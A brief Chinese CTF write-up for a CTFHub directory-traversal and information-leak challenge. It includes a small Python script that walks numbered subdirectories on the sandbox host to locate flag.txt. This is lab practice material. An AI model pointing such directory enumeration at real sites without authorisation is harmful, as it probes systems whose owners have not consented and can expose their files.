CTFHUB刷题 信息泄露/目录遍历

一、题目描述与分析

加载题目网页，出现下图

点击开始寻找flag,进入下图

 二、解题过程

方法1 一遍一遍尝试改变文件目录，最终找到文件路径

 方法2 利用python脚本，寻找flag.txt所在路径，取得flag

# _*_ coding:utf-8 _*_
 
import requests
 
url = "http://challenge-64d4bc1a74ec9a73.sandbox.ctfhub.com:10800/flag_in_here/"
 
for i in range(5):
    for j in range(5):
        url_final = url + "/" + str(i) + "/" + str(j)
        r = requests.get(url_final)
        r.encoding = "utf-8"
        get_file=r.text
        if "flag.txt" in get_file:
            print(url_final)